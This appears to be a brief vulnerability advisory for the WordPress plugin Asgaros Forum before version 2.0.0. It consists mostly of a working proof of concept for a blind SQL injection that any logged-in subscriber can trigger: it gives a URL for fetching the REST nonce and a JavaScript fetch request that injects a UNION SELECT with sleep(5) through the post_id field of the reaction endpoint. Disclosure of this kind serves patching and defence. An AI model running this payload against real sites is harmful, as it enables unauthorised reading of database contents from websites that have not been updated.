Asgaros Forum < 2.0.0 - Subscriber+ Blind SQL Injection

Proof of Concept

As any authenticated user, such as subscriber

To get the nonce: /wp-admin/admin-ajax.php?action=rest-nonce

fetch("?rest_route=/asgaros-forum/v1/reaction/1/hello", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "post_id=1 UNION SELECT 1, 1, 1, 1, 1,2,3,4,5,sleep(5) FROM dual -- g&_wpnonce=59c63b25b1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));